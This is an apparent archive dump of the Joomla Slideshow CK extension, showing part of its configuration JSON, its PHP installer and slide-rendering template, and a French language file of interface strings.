_Swing.JPG|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|}]","theme":"default","skin":"camera_amber_skin","alignment":"center","loader":"pie","width":"100%","height":"62%","minheight":"150","navigation":"0","thumbnails":"0","thumbnailwidth":"100","thumbnailheight":"75","pagination":"0","effect":["random"],"time":"5000","transperiod":"1000","captioneffect":"moveFromLeft","portrait":"1","autoAdvance":"1","hover":"0","displayorder":"normal","limitslides":"","fullpage":"0","imagetarget":"_parent","linkposition":"fullslide","container":"","usemobileimage":"0","mobileimageresolution":"640","loadjquery":"1","loadjqueryeasing":"1","autocreatethumbs":"0","fixhtml":"0","layout":"_:default","moduleclass_sfx":"","cache":"1","cache_time":"900","cachemode":"itemid","articlelength":"150","articlelink":"readmore","articletitle":"h3","showarticletitle":"1","usecaption":"1","usecaptiondesc":"1","usecaptionresponsive":"1","captionresponsiveresolution":"480","captionresponsivefontsize":"0.6em","captionresponsivehidecaption":"0","captionstylesusefont":"1","captionstylestextgfont":"Droid Sans","captionstylesfontsize":"1.1em","captionstylesfontcolor":"","captionstylesfontweight":"normal","captionstylesdescfontsize":"0.8em","captionstylesdescfontcolor":"","captionstylesusemargin":"1","captionstylesmargintop":"0","captionstylesmarginright":"0","captionstylesmarginbottom":"0","captionstylesmarginleft":"0","captionstylespaddingtop":"0","captionstylespaddingright":"0","captionstylespaddingbottom":"0","captionstylespaddingleft":"0","captionstylesusebackground":"1","captionstylesbgcolor1":"","captionstylesbgopacity":"0.6","captionstylesbgimage":"","captionstylesbgpositionx":"left","captionstylesbgpositiony":"top","captionstylesbgimagerepeat":"repeat","captionstylesusegradient":"1","captionstylesbgcolor2":"","captionstylesuseroundedcorners":"1","captionstylesroundedcornerstl":"5","captionstylesroundedcornerstr":"5","captionstylesroundedcornersbr":"5","captionstylesroundedcornersbl":"5","captionstylesuseshadow":"1","captionstylesshadowcolor":"","captionstylesshadowblur":"3","captionstylesshadowspread":"0","captionstylesshadowoffsetx":"0","captionstylesshadowoffsety":"0","captionstylesshadowinset":"0","captionstylesuseborders":"1","captionstylesbordercolor":"","captionstylesborderwidth":"1","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}com_slideshowck/install.php000060400000007641152455305260012113 0ustar00<?php

defined('_JEXEC') or die('Restricted access');
/*
	preflight which is executed before install and update
	install
	update
	uninstall
	postflight which is executed after install and update
	*/

class com_slideshowckInstallerScript {

	function install($parent) {
		
	}
	
	function update($parent) {
		
	}

	function uninstall($parent) {
		// disable all plugins and modules
		$db = \Joomla\CMS\Factory::getDbo();
		$db->setQuery("UPDATE `#__modules` SET `published` = 0 WHERE `module` LIKE '%slideshowck%'");
		$db->execute();

		// $db->setQuery("UPDATE `#__extensions` SET `enabled` = 0 WHERE `type` = 'plugin' AND `element` LIKE '%slideshowck%' AND `folder` NOT LIKE '%slideshowck%'");
		// $db->execute();
		return true;
	}

	function preflight($type, $parent) {
		// check if a pro version already installed
		$xmlPath = JPATH_ROOT . '/administrator/components/com_slideshowck/slideshowck.xml';

		// if no file already exists
		if (! file_exists($xmlPath)) return true;

		$xmlData = $this->getXmlData($xmlPath);
		$isProInstalled = ((int)$xmlData->ckpro);

		if ($isProInstalled) {
			throw new RuntimeException('Slideshow CK Light cannot be installed over Slideshow CK Pro. Please install Slideshow CK Pro. To downgrade, please first uninstall Slideshow CK Pro. <a href="https://www.joomlack.fr/en/documentation/48-slideshow-ck/246-migration-from-slideshow-ck-version-1-to-version-2" target="_blank">Read more</a>');
			// return false;
		}

		// check if a V1 version is installed with the params (needs the pro)
		$xmlPath = JPATH_ROOT . '/modules/mod_slideshowck/mod_slideshowck.xml';

		// if no file already exists
		if (! file_exists($xmlPath)) return true;

		$xmlData = $this->getXmlData($xmlPath);
		$installedVersion = ((int)$xmlData->version );
		// if the installed version is the V1
		if(version_compare($installedVersion, '2.0.0', '<')) {
			// if the params is also installed
			if (file_exists(JPATH_ROOT . '/plugins/system/slideshowckparams/slideshowckparams.xml')) {
				throw new RuntimeException('Slideshow CK Light cannot be installed over Slideshow CK V1 + Params. Please install Slideshow CK Pro to get the same features as previously, else you may loose your existing settings. To downgrade, please first uninstall Slideshow CK Params. <a href="https://www.joomlack.fr/en/documentation/48-slideshow-ck/246-migration-from-slideshow-ck-version-1-to-version-2" target="_blank">Read more</a>');
				// return false;
			}

			
		}

		return true;
	}

	public function getXmlData($file) {
		if ( ! is_file($file))
		{
			return '';
		}

		$xml = simplexml_load_file($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml;
	}

	// run on install and update
	function postflight($type, $parent) {
		// install modules and plugins
		jimport('joomla.installer.installer');
		$db = \Joomla\CMS\Factory::getDbo();
		$status = array();
		$src_ext = dirname(__FILE__).'/administrator/extensions';
		$installer = new \Joomla\CMS\Installer\Installer;

		// module
		$result = $installer->install($src_ext.'/mod_slideshowck');
		$status[] = array('name'=>'Slideshow CK - Module','type'=>'module', 'result'=>$result);

		// system plugin
		/*$result = $installer->install($src_ext.'/slideshowck');
		$status[] = array('name'=>'System - Slideshow CK','type'=>'plugin', 'result'=>$result);
		// system plugin must be enabled for user group limits and private areas
		$db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'slideshowck' AND `type` = 'plugin'");
		$db->execute();*/

		foreach ($status as $statu) {
			if ($statu['result'] == true) {
				$alert = 'success';
				$icon = 'icon-ok';
				$text = 'Successful';
			} else {
				$alert = 'warning';
				$icon = 'icon-cancel';
				$text = 'Failed';
			}
			echo '<div class="alert alert-' . $alert . '"><i class="icon ' . $icon . '"></i>Installation and activation of the <b>' . $statu['type'] . ' ' . $statu['name'] . '</b> : ' . $text . '</div>';
		}

		return true;
	}
}
com_slideshowck/export/index.html000060400000000054152455305260013241 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/extensions/mod_slideshowck/tmpl/index.html000060400000000037152455305260020252 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/tmpl/default.php000060400000017200152455305260020412 0ustar00<?php
/**
 * @copyright	Copyright (C) 2012-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Slideshow CK
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

// get the slideshow width
$width = ($params->get('width') AND $params->get('width') != 'auto') ? ' style="width:' . SlideshowckHelper::testUnit($params->get('width')) . ';"' : '';
?>
<div class="slideshowck <?php echo $params->get('moduleclass_sfx'); ?> camera_wrap <?php echo $params->get('skin'); ?>" id="camera_wrap_<?php echo $module->id; ?>"<?php echo $width; ?>>
	<?php
	$i = 0;
	foreach ($items as $item) {
		if ($params->get('limitslides', '') && $i >= $params->get('limitslides', ''))
			break;

		// B/C for V1
		if (isset($item->imgname) && ! isset($item->image)) SlideshowckHelper::legacyUpdateItem($item);

		// automatically create the minified thumb and use it
		$item->thumb = $item->image;
		if ($params->get('thumbnails', '1') == '1' && $params->get('autocreatethumbs','1') && $params->get('usethumbstype', 'mini') == 'mini') {
			$item->thumb = SlideshowckHelper::resizeImage($item->image, $params->get('thumbnailwidth', '182'), $params->get('thumbnailheight', '187'));
		}
		// use the minified thumb but don't create it
		else if ($params->get('thumbnails', '1') == '1' && $params->get('usethumbstype','mini') == 'mini'){
			$thumbext = explode(".", $item->image);
			$thumbext = end($thumbext);
			$thumbfile = str_replace(basename($item->image), "th/" . basename($item->image), $item->image);
			$thumbfile = str_replace("." . $thumbext, "_th." . $thumbext, $thumbfile);
			if (\Joomla\CMS\Uri\Uri::root(true) && substr($thumbfile, 0, (int)strlen(\Joomla\CMS\Uri\Uri::root(true) . '/')) == (\Joomla\CMS\Uri\Uri::root(true) . '/')) {
				$thumbfile = str_replace(\Joomla\CMS\Uri\Uri::root(true) . '/', '', $thumbfile);
			}
			if (file_exists(JPATH_ROOT . '/' . trim($thumbfile, '/'))) {
				$item->thumb = \Joomla\CMS\Uri\Uri::root(true) . '/' . trim($thumbfile, '/');
			}
		}

		// create new images for mobile
		if ($params->get('usemobileimage', '0') && $params->get('autocreatethumbs','1')) { 
			$resolutions = explode(',', $params->get('mobileimageresolution', '640'));
			foreach ($resolutions as $resolution) {
				SlideshowckHelper::resizeImage($item->image, (int)$resolution, '', (int)$resolution, '');
			}
		}

		if ($item->alignment != 'default') {
			$alignment = ' data-alignment="' . $item->alignment . '"';
		} else {
			$alignment = '';
		}
		$datacaptiontitle = str_replace("|dq|", "\"", (string)$item->title);
		$datacaptiontext = str_replace("|dq|", "\"", (string)$item->text);
		$datacaptionforlightbox = $datacaptiontitle . ( $datacaptiontext ? '::' . $datacaptiontext : '');
		$dataalt = htmlspecialchars(str_replace("\"", "&quot;", str_replace(">", "&gt;", str_replace("<", "&lt;", $datacaptiontitle))));
		$datatitle = ($params->get('lightboxcaption', 'caption') != 'caption') ? 'data-title="' . htmlspecialchars(str_replace("\"", "&quot;", str_replace(">", "&gt;", str_replace("<", "&lt;", $datacaptionforlightbox)))) . '" ' : '';
		$album = ($params->get('lightboxgroupalbum', '0')) ? '[albumslideshowck' .$module->id .']' : '';
		$target = ($item->target == 'default') ? $params->get('linktarget') : $item->target;
		$datarel = ($target == 'lightbox') ? 'data-rel="lightbox' . $album . '" ' : '';
		$datarel .= ($target == '_blank') ? 'data-rel="noopener noreferrer" ' : '';
		$datatime = ($item->time) ? ' data-time="' . $item->time . '"' : '';
		$link = $params->get('linkautoimage', '0') == '1' && $item->image && !$item->link ? $item->image : $item->link;

		if ($params->get('lightboxautolinkimages', '0') == '1') {
			$item->link = $item->link ? $item->link : $item->image;
		}

		$linkposition = $params->get('linkposition', 'fullslide');
		$linkClass = ( $linkposition == 'button' ? $params->get('linkbuttonclass', '') . ' camera-button' : ' camera-link' );
		$linkTarget = ( $target == '_blank' ? ' target="_blank" rel="noopener noreferrer"' : '' );
		$startLink = '<a class="' . $linkClass .'" href="' . $link . '"' . $linkTarget . '>';
		?>
		<div <?php echo $datarel . $datatitle; ?>data-alt="<?php echo $dataalt; ?>" data-thumb="<?php echo $item->thumb; ?>" data-src="<?php echo $item->image; ?>" <?php if ($link && $linkposition == 'fullslide') echo 'data-link="' . $link . '" data-target="' . $target . '"'; echo $alignment . $datatime; ?>>
			<?php if ($params->get('imageforseo', '0')) { ?>
				<img src="<?php echo $item->image; ?>" style="display:none" alt="<?php echo htmlspecialchars($item->title) ?>" />
			<?php } ?>
			<?php if ($item->video) { ?>
				<?php if (strpos($item->video, 'http') !== 0) {
				$autoplay = $item->videoautoplay == '1' ? 'data-autoplay="1" muted="muted"' : '';
				$videoloop = $item->videoloop == '1' ? ' loop' : '';
				$videocontrols = $item->videocontrols == '0' ? ($autoplay ? '' : ' onclick="this.play()"') : ' controls';
				?>
				<video src="<?php echo $item->video; ?>" width="100%" height="100%" playsinline <?php echo $autoplay ?><?php echo $videoloop ?><?php echo $videocontrols ?>>
					<source src="<?php echo $item->video ?>" >
				</video>
				<?php } else { ?>
				<iframe src="<?php echo $item->video; ?>" width="100%" height="100%" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
				<?php } ?>
			<?php
			}
			if (($params->get('usecaption', '1') == '1') && ($item->title || $item->text) && (($params->get('lightboxcaption', 'caption') != 'title' || $target != 'lightbox') || !$link)) {
			?>
				<?php if ($params->get('usecaption', '1')) { ?>
				<div class="camera_caption <?php echo $params->get('captioneffect', 'moveFromBottom')?>">
					<?php 
//					$showcaption = $params->get('usecaption', '1') == '1' && ($item->title || $item->desc);
					$showtitle = $params->get('usetitle', '1') == '1' && $item->title;
					$showdescription = $params->get('usecaptiondesc', '1') == '1' && $item->text;
					if ($showtitle) { ?>
					<div class="camera_caption_title">
						<?php 
						$item->title = str_replace("|dq|", "\"", $item->title);
						if ($link && $linkposition == 'title') {
							echo $startLink . $item->title . '</a>';
						} else {
							echo $item->title;
						} ?>
					</div>
					<?php } ?>
					<?php if ($showdescription) { ?>
					<div class="camera_caption_desc">
						<?php 
						$caption = str_replace("|dq|", "\"", $item->text);
						if ($params->get('content_prepare', 0)) $caption = \Joomla\CMS\HTML\HTMLHelper::_('content.prepare', $caption);
						$textlength = (int)$params->get('textlength', '0');
						if ($params->get('fixhtml', '0') == '1' && trim($caption)) {
							// Parse the html code of the text into a fixer to avoid bad rendering issues
							$htmlfixer = new SlideshowCKHtmlFixer();
							$captionFixed = $htmlfixer->getFixedHtml(trim($caption));
							$caption = $captionFixed;
						}
						if ($params->get('striptags', '0') == '1' && $item->texttype != 'pagebuilderck') {
							$caption = strip_tags($caption);
						}
						if ($textlength > 0) {
							$caption = SlideshowckHelper::substring($caption, $textlength, '...', false);
						}
						echo $caption;
						?>
					<?php
					if (isset($item->more) && count($item->more)) {
						foreach ($item->more as $m) {
							echo $m;
						}
					}
					?>
					</div>
					<?php } ?>
					<?php if ($link && $linkposition == 'caption') {
						echo $startLink . '</a>';
					} ?>
					<?php if ($link && $linkposition == 'button') { ?>
						<?php echo $startLink . \Joomla\CMS\Language\Text::_($params->get('linkbuttontext', 'MOD_SLIDESHOWCK_LINK_BUTTON_TEXT')) . '</a>'; ?>
					<?php } ?>
					</div>
				<?php } ?>
			<?php
			}
			?>
		</div>
<?php 
		$i++;
	}
?>
</div>
<div style="clear:both;"></div>
com_slideshowck/extensions/mod_slideshowck/language/index.html000060400000000037152455305260021061 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/language/fr-FR/index.html000060400000000037152455305260021775 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/language/fr-FR/fr-FR.mod_slideshowck.ini000060400000067137152455305260024610 0ustar00; @copyright	Copyright (C) 2010 Cédric KEIFLIN alias ced1870
; https://www.joomlack.fr
; @license		GNU/GPL
; Double quotes in the values have to be formatted as "_QQ_"

SLIDESHOWCK_XML_DESCRIPTION = "Slideshow CK affiche un slideshow avec de superbes effets. Il est compatible mobiles et responsive design. Sa largeur s'adapte à la largeur de l'écran et vous pouvez faire défiler les images en glissant le doigt sur l'écran."
SLIDESHOWCK_OPTIONS_SLIDES = "Gestion des slides"
SLIDESHOWCK_OPTIONS_STYLES = "Options de styles"
SLIDESHOWCK_OPTIONS_EFFECTS = "Options des effets"
SLIDESHOWCK_SKIN_LABEL = "Apparence"
SLIDESHOWCK_SKIN_DESC = "Choisir une couleur"
SLIDESHOWCK_ALIGNEMENT_LABEL = "Alignement de l'image"
SLIDESHOWCK_ALIGNEMENT_DESC = "Permet de positionner l'image dans la zone du slideshow"
SLIDESHOWCK_TOP = "haut"
SLIDESHOWCK_BOTTOM = "bas"
SLIDESHOWCK_TOPLEFT = "haut gauche"
SLIDESHOWCK_TOPCENTER = "haut milieu"
SLIDESHOWCK_TOPRIGHT = "haut droite"
SLIDESHOWCK_MIDDLELEFT = "milieu gauche"
SLIDESHOWCK_CENTER = "centre"
SLIDESHOWCK_MIDDLERIGHT = "milieu droite"
SLIDESHOWCK_BOTTOMLEFT = "bas gauche"
SLIDESHOWCK_BOTTOMCENTER = "bas milieu"
SLIDESHOWCK_BOTTOMRIGHT = "bas droite"
SLIDESHOWCK_LOADER_LABEL = "Icône de chargement"
SLIDESHOWCK_LOADER_DESC = "Choisir quel type d'icône afficher"
SLIDESHOWCK_LOADER_PIE = "cercle"
SLIDESHOWCK_LOADER_BAR = "barre"
SLIDESHOWCK_LOADER_NONE = "aucun"
SLIDESHOWCK_WIDTH_LABEL = "Largeur"
SLIDESHOWCK_WIDTH_DESC = "Largeur du slideshow en px, peut aussi prendre la valeur 'auto'"
SLIDESHOWCK_HEIGHT_LABEL = "Hauteur"
SLIDESHOWCK_HEIGHT_DESC = "Hauteur du slideshow, peut aussi prendre une valeur en px ou en %"
SLIDESHOWCK_THUMBNAILS_LABEL = "Miniatures"
SLIDESHOWCK_THUMBNAILS_DESC = "Afficher les miniatures sous le slideshow"
SLIDESHOWCK_PAGINATION_LABEL = "Pagination"
SLIDESHOWCK_PAGINATION_DESC = "Afficher les boutons de navigation"
SLIDESHOWCK_EFFECT_LABEL = "Effet d'animation"
SLIDESHOWCK_EFFECT_DESC = "Choisir un effet à appliquer. On peut sélectionner plusieurs effets en maintenant la touche CTRL"
SLIDESHOWCK_TRANSITION_LABEL = "Transition"
SLIDESHOWCK_TRANSITION_DESC = "Transition de l'effet"
SLIDESHOWCK_TIME_LABEL = "Durée d'affichage"
SLIDESHOWCK_TIME_DESC = "Durée d'affichage de chaque image"
SLIDESHOWCK_TRANSPERIOD_LABEL = "Durée de la transition"
SLIDESHOWCK_TRANSPERIOD_DESC = "Temps nécessaire pour passer d'une image à l'autre"
SLIDESHOWCK_AUTOADVANCE_LABEL = "Lecture automatique"
SLIDESHOWCK_AUTOADVANCE_DESC = "Le slideshow démarre automatiquement au chargement de la page"
SLIDESHOWCK_PORTRAIT_LABEL = "Ajuster les images"
SLIDESHOWCK_PORTRAIT_DESC = "Si non les images conservent leur taille d'origine"
SLIDESHOWCK_ADDSLIDE = "Ajouter un slide"
SLIDESHOWCK_SELECTIMAGE = "Sélectionner l'image"
SLIDESHOWCK_CAPTION = "Légende"
SLIDESHOWCK_USETOSHOW = "Afficher"
SLIDESHOWCK_IMAGE = "Image"
SLIDESHOWCK_VIDEO = "Vidéo"
SLIDESHOWCK_IMAGEOPTIONS = "Options de l'image"
SLIDESHOWCK_LINKOPTIONS = "Options du lien"
SLIDESHOWCK_VIDEOOPTIONS = "Options de la vidéo"
SLIDESHOWCK_ALIGNEMENT_LABEL = "Alignement"
SLIDESHOWCK_LINK = "Url du lien"
SLIDESHOWCK_TARGET = "Cible"
SLIDESHOWCK_SAMEWINDOW = "s'ouvre dans la même fenêtre"
SLIDESHOWCK_NEWWINDOW = "s'ouvre dans une nouvelle fenêtre"
SLIDESHOWCK_VIDEOURL = "Url de la vidéo"
SLIDESHOWCK_REMOVE = "Supprimer ce slide"
SLIDESHOWCK_IMPORTFROMFOLDER = "Importer d'un dossier"
SLIDESHOWCK_LOADJQUERY_LABEL = "Charger JQuery"
SLIDESHOWCK_LOADJQUERY_DESC = "Si vous avez une extension qui charge déjà JQuery vous pouvez choisir de ne pas charger le script de Slideshow CK"
SLIDESHOWCK_LOADJQUERYEASING_LABEL = "Charger JQuery Easing"
SLIDESHOWCK_LOADJQUERYEASING_DESC = "Choisissez si vous voulez charger le script pour les transitions"
SLIDESHOWCK_LOADJQUERYMOBILE_LABEL = "Charger JQuery mobile"
SLIDESHOWCK_LOADJQUERYMOBILE_DESC = "Choisissez de charger le script pour mobiles"
SLIDESHOWCK_THUMBNAILWIDTH_LABEL = "Largeur de la miniature"
SLIDESHOWCK_THUMBNAILWIDTH_DESC = "Donnez la largeur de la miniature en px"
SLIDESHOWCK_THUMBNAILHEIGHT_LABEL = "Hauteur de la miniature"
SLIDESHOWCK_THUMBNAILHEIGHT_DESC = "Donnez la hauteur de la miniature en px"
SLIDESHOWCK_NAVIGATION_HOVER = "au survol"
SLIDESHOWCK_NAVIGATION_ALWAYS = "toujours"
SLIDESHOWCK_NAVIGATION_NONE = "aucune"
SLIDESHOWCK_NAVIGATION_LABEL = "Navigation"
SLIDESHOWCK_NAVIGATION_DESC = "Choisissez si vous voulez afficher les boutons de navigation"
SLIDESHOWCK_DISPLAYORDER_LABEL = "Ordre d'affichage"
SLIDESHOWCK_DISPLAYORDER_DESC = "Choisissez la manière d'afficher les images"
SLIDESHOWCK_DISPLAYORDER_NORMAL = "dans l'ordre"
SLIDESHOWCK_DISPLAYORDER_SHUFFLE = "aléatoire"
SLIDESHOWCK_THEME_LABEL="Thème"
SLIDESHOWCK_THEME_DESC="Choisir un thème pour le slideshow"
SLIDESHOWCK_CAPTIONEFFECT_LABEL="Animation de la légende"
SLIDESHOWCK_CAPTIONEFFECT_DESC="Choisir comment la légende s'anime"
SLIDESHOWCK_HOVER_LABEL="Pause au survol"
SLIDESHOWCK_HOVER_DESC="Met le slideshow en pause lorsque la souris le survol"
SLIDESHOWCK_CAPTIONSTYLES="Styles de la légende"
SLIDESHOWCK_FULLPAGE_LABEL="Utiliser comme fond de page"
SLIDESHOWCK_FULLPAGE_DESC="Charger le slideshow en fond de page en plein écran"
SLIDESHOWCK_SHOWARTICLETITLE_LABEL="Montrer le titre de l'article"
SLIDESHOWCK_SHOWARTICLETITLE_DESC="Choisissez si vous voulez afficher le titre de l'article"
SLIDESHOWCK_OPTIONS_FROMFOLDER="Charger les slides depuis un dossier"
SLIDESHOWCK_CHECKPARAMSPLUGIN="Vous devez télécharger et installer le <a href="_QQ_"https://www.joomlack.fr/slideshowck/plugin-slideshow-params"_QQ_" target="_QQ_"_blank"_QQ_">plugin Slideshow Params</a>"
SLIDESHOWCK_SPACER_SLIDESHOWCKPARAMS_PATCH_INSTALLED="Plugin Slideshow CK installé"
SLIDESHOWCK_FROMFOLDERNAME_LABEL="Charger à partir du dossier"
SLIDESHOWCK_FROMFOLDERNAME_DESC="Choisir le dossier à partir duquel charger les images (entrez le chemin à partir de la base du site puis enregistrez le module, ensuite vous pouvez importer les images)"
SLIDESHOWCK_SLIDESSOURCE_LABEL="Sources des images"
SLIDESHOWCK_SLIDESSOURCE_DESC="Choisir si vous voulez charger les images à partir du gestionnaire de slides ou d'un dossier"
SLIDESHOWCK_SLIDEMANAGER="Gestionnaire de slides"
SLIDESHOWCK_FOLDER="Importer depuis un dossier"
SLIDESHOWCK_IMPORT="Importer"
SLIDESHOWCK_OPTIONS_LIGHTBOX="Options pour la Lightbox"
SLIDESHOWCK_LIGHTBOXTYPE_LABEL="Type de Lightbox"
SLIDESHOWCK_LIGHTBOXTYPE_DESC="Sélectionner la lightbox à utiliser pour afficher les liens dans une popup. Squeezebox est le script natif de Joomla!. Mediabox CK est la lightbox avancée que vous pouvez télécharger sur https://www.joomlack.fr"
SLIDESHOWCK_SQUEEZEBOX="Squeezebox"
SLIDESHOWCK_MEDIABOXCK="Mediabox CK"
SLIDESHOWCK_LIGHTBOXCAPTION_LABEL="Où afficher la légende"
SLIDESHOWCK_LIGHTBOXCAPTION_DESC="La légende qui est définie dans les options du slide peut être affichée soit sur le slideshow, ou dans la lightbox (uniquement si vous utilisez Mediabox CK), ou les deux"
SLIDESHOWCK_LIGHTBOXCAPTION="Dans le slideshow"
SLIDESHOWCK_LIGHTBOXTITLE="Dans la lightbox (Mediabox CK)"
SLIDESHOWCK_LIGHTBOXCAPTIONANDTITLE="Dans les deux"
SLIDESHOWCK_SPACERFOLDERAUTOLOAD_LABEL="Charger automatiquement depuis un dossier"
SLIDESHOWCK_SPACERFOLDERIMPORT_LABEL="Importer les images depuis un dossier"
SLIDESHOWCK_AUTOLOADFOLDERNAME_LABEL="Charger les images automatiquement depuis un dossier"
SLIDESHOWCK_AUTOLOADFOLDERNAME_DESC="Choisir le dossier à partir duquel charger les images automatiquement"
SLIDESHOWCK_AUTOLOADFOLDER="Charger automatiquement depuis un dossier"
SLIDESHOWCK_MOBILEIMAGE_SPACER_LABEL="Options pour images pour Mobile"
SLIDESHOWCK_USEMOBILEIMAGE_LABEL="Utiliser des images pour Mobile"
SLIDESHOWCK_USEMOBILEIMAGE_DESC="Si vous activez cette option le slideshow va détecter la largeur de l'écran et charger une image alternative en dessous de cette valeur. Par exemple pour une résolution de 640px il chargera l'image 'dossier/640/image.jpg' à la place de l'image 'dossier/image.jpg'. ATTENTION à ce que les deux images existent !"
SLIDESHOWCK_MOBILEIMAGERESOLUTION_LABEL="Resolution maxi pour les images pour Mobile"
SLIDESHOWCK_MOBILEIMAGERESOLUTION_DESC="Sous cette largeur d'écran ce seront les images alternatives qui seront chargées"
SLIDESHOWCK_LIMITSLIDES_LABEL="Nombre de slides"
SLIDESHOWCK_LIMITSLIDES_DESC="Cette option n'est active que si vous avez choisi un ordre d'affichage Aléatoire. Alors vous pouvez limiter le nombre de slides à afficher."
SLIDESHOWCK_IMAGETARGET_LABEL="Cible par défaut des liens"
SLIDESHOWCK_IMAGETARGET_DESC="Choisir la cible par défaut des liens pour tous les slides"
SLIDESHOWCK_DEFAULT="defaut"
SLIDESHOWCK_LIGHTBOX="dans une Lightbox"
SLIDESHOWCK_HIKASHOP_FIELDSET_LABEL="Options pour Hikashop"
SLIDESHOWCKHIKASHOP_CHECKPLUGIN="Vous devez télécharger et installer le <a href="_QQ_"https://www.joomlack.fr/slideshowck/plugin-slideshow-hikashop"_QQ_" target="_QQ_"_blank"_QQ_">plugin Slideshow CK Hikashop</a>"

;styles
SLIDESHOWCK_BOLD = "gras"
SLIDESHOWCK_NORMAL = "normal"
SLIDESHOWCK_SPACER_STYLESBACKGROUND="Arrière plan"
SLIDESHOWCK_SPACER_STYLESROUNDEDCORNERS="Coins arrondis"
SLIDESHOWCK_SPACER_STYLESSHADOW="Ombre"
SLIDESHOWCK_SPACER_STYLESBORDERS="Bordures"
SLIDESHOWCK_MARGIN_LABEL="Marges externes"
SLIDESHOWCK_MARGIN_DESC="Valeur en px"
SLIDESHOWCK_PADDING_LABEL="Marges internes"
SLIDESHOWCK_PADDING_DESC="Valeur en px"
SLIDESHOWCK_BGCOLOR1_LABEL="Couleur de fond"
SLIDESHOWCK_BGCOLOR1_DESC="Choisir une couleur"
SLIDESHOWCK_BGCOLOR2_LABEL="Couleur de dégradé"
SLIDESHOWCK_BGCOLOR2_DESC="Choisir une couleur qui sera utilisé pour créer un dégradé à partir de la couleur de fond"
SLIDESHOWCK_ROUNDEDCORNERSTL_LABEL="Haut gauche"
SLIDESHOWCK_ROUNDEDCORNERSTL_DESC="Valeur du rayon en px"
SLIDESHOWCK_ROUNDEDCORNERSTR_LABEL="Haut droite"
SLIDESHOWCK_ROUNDEDCORNERSTR_DESC="Valeur du rayon en px"
SLIDESHOWCK_ROUNDEDCORNERSBR_LABEL="Bas droite"
SLIDESHOWCK_ROUNDEDCORNERSBR_DESC="Valeur du rayon en px"
SLIDESHOWCK_ROUNDEDCORNERSBL_LABEL="Bas gauche"
SLIDESHOWCK_ROUNDEDCORNERSBL_DESC="Valeur du rayon en px"
SLIDESHOWCK_SHADOWCOLOR_LABEL="Couleur de l'ombre"
SLIDESHOWCK_SHADOWCOLOR_DESC="Choisir une couleur"
SLIDESHOWCK_SHADOWBLUR_LABEL="Largeur de l'ombre"
SLIDESHOWCK_SHADOWBLUR_DESC="Valeur en px"
SLIDESHOWCK_SHADOWSPREAD_LABEL="Propagation"
SLIDESHOWCK_SHADOWSPREAD_DESC="Valeur en px"
SLIDESHOWCK_OFFSETX_LABEL="Décalage horizontal"
SLIDESHOWCK_OFFSETX_DESC="Décalage sur l'axe X, peut aussi prendre une valeur négative"
SLIDESHOWCK_OFFSETY_LABEL="Décalage vertical"
SLIDESHOWCK_OFFSETY_DESC="Décalage sur l'axe Y, peut aussi prendre une valeur négative"
SLIDESHOWCK_SHADOWINSET_LABEL="Interne"
SLIDESHOWCK_SHADOWINSET_DESC="Ajoute l'attribut 'inset' pour créer l'ombre vers l'intérieur"
SLIDESHOWCK_BORDERCOLOR_LABEL="Couleur de bordure"
SLIDESHOWCK_BORDERCOLOR_DESC="Choisir une couleur"
SLIDESHOWCK_BORDERWIDTH_LABEL="Largeur de bordure"
SLIDESHOWCK_BORDERWIDTH_DESC="Valeur en px"
SLIDESHOWCK_SPACER_STYLESMARGIN = "Marges"
SLIDESHOWCK_USEMARGIN_LABEL = "Utiliser les marges"
SLIDESHOWCK_USEMARGIN_DESC = ""
SLIDESHOWCK_USEBACKGROUND_LABEL = "Utiliser la couleur de fond"
SLIDESHOWCK_USEBACKGROUND_DESC = ""
SLIDESHOWCK_USEGRADIENT_LABEL = "Utiliser la couleur de dégradé"
SLIDESHOWCK_USEGRADIENT_DESC = ""
SLIDESHOWCK_USEROUNDEDCORNERS_LABEL = "Utiliser les coins arrondis"
SLIDESHOWCK_USEROUNDEDCORNERS_DESC = ""
SLIDESHOWCK_USESHADOW_LABEL = "Utiliser l'ombre"
SLIDESHOWCK_USESHADOW_DESC = ""
SLIDESHOWCK_USEBORDERS_LABEL = "Utiliser les bordures"
SLIDESHOWCK_USEBORDERS_DESC = ""
SLIDESHOWCK_SPACER_STYLESFONT = "Style de police"
SLIDESHOWCK_USEFONT_LABEL = "Utiliser la police"
SLIDESHOWCK_USEFONT_DESC = ""
SLIDESHOWCK_GFONT_LABEL = "Police"
SLIDESHOWCK_GFONT_DESC = "Choisissez la police google à utiliser"
SLIDESHOWCK_FONTSIZE_LABEL = "Taille de police"
SLIDESHOWCK_FONTSIZE_DESC = "Donner la taille que vous voulez en précisant l'unité (px, em, %)"
SLIDESHOWCK_FONTWEIGHT_LABEL = "Style de police"
SLIDESHOWCK_FONTWEIGHT_DESC = "Choisissez si vous voulez la police en normal ou gras"
SLIDESHOWCK_FONTCOLOR_LABEL = "Couleur de police"
SLIDESHOWCK_FONTCOLOR_DESC = "Choisissez la couleur"
SLIDESHOWCK_DESCFONTSIZE_LABEL = "Taille de la description"
SLIDESHOWCK_DESCFONTSIZE_DESC = "Taille de police de la description"
SLIDESHOWCK_DESCFONTCOLOR_LABEL = "Couleur de la description"
SLIDESHOWCK_DESCFONTCOLOR_DESC = "Choisissez la couleur pour la description"
SLIDESHOWCK_MARGINTOP_LABEL="Marge haute"
SLIDESHOWCK_MARGINTOP_DESC="marge en px"
SLIDESHOWCK_MARGINRIGHT_LABEL="Marge droite"
SLIDESHOWCK_MARGINRIGHT_DESC="marge en px"
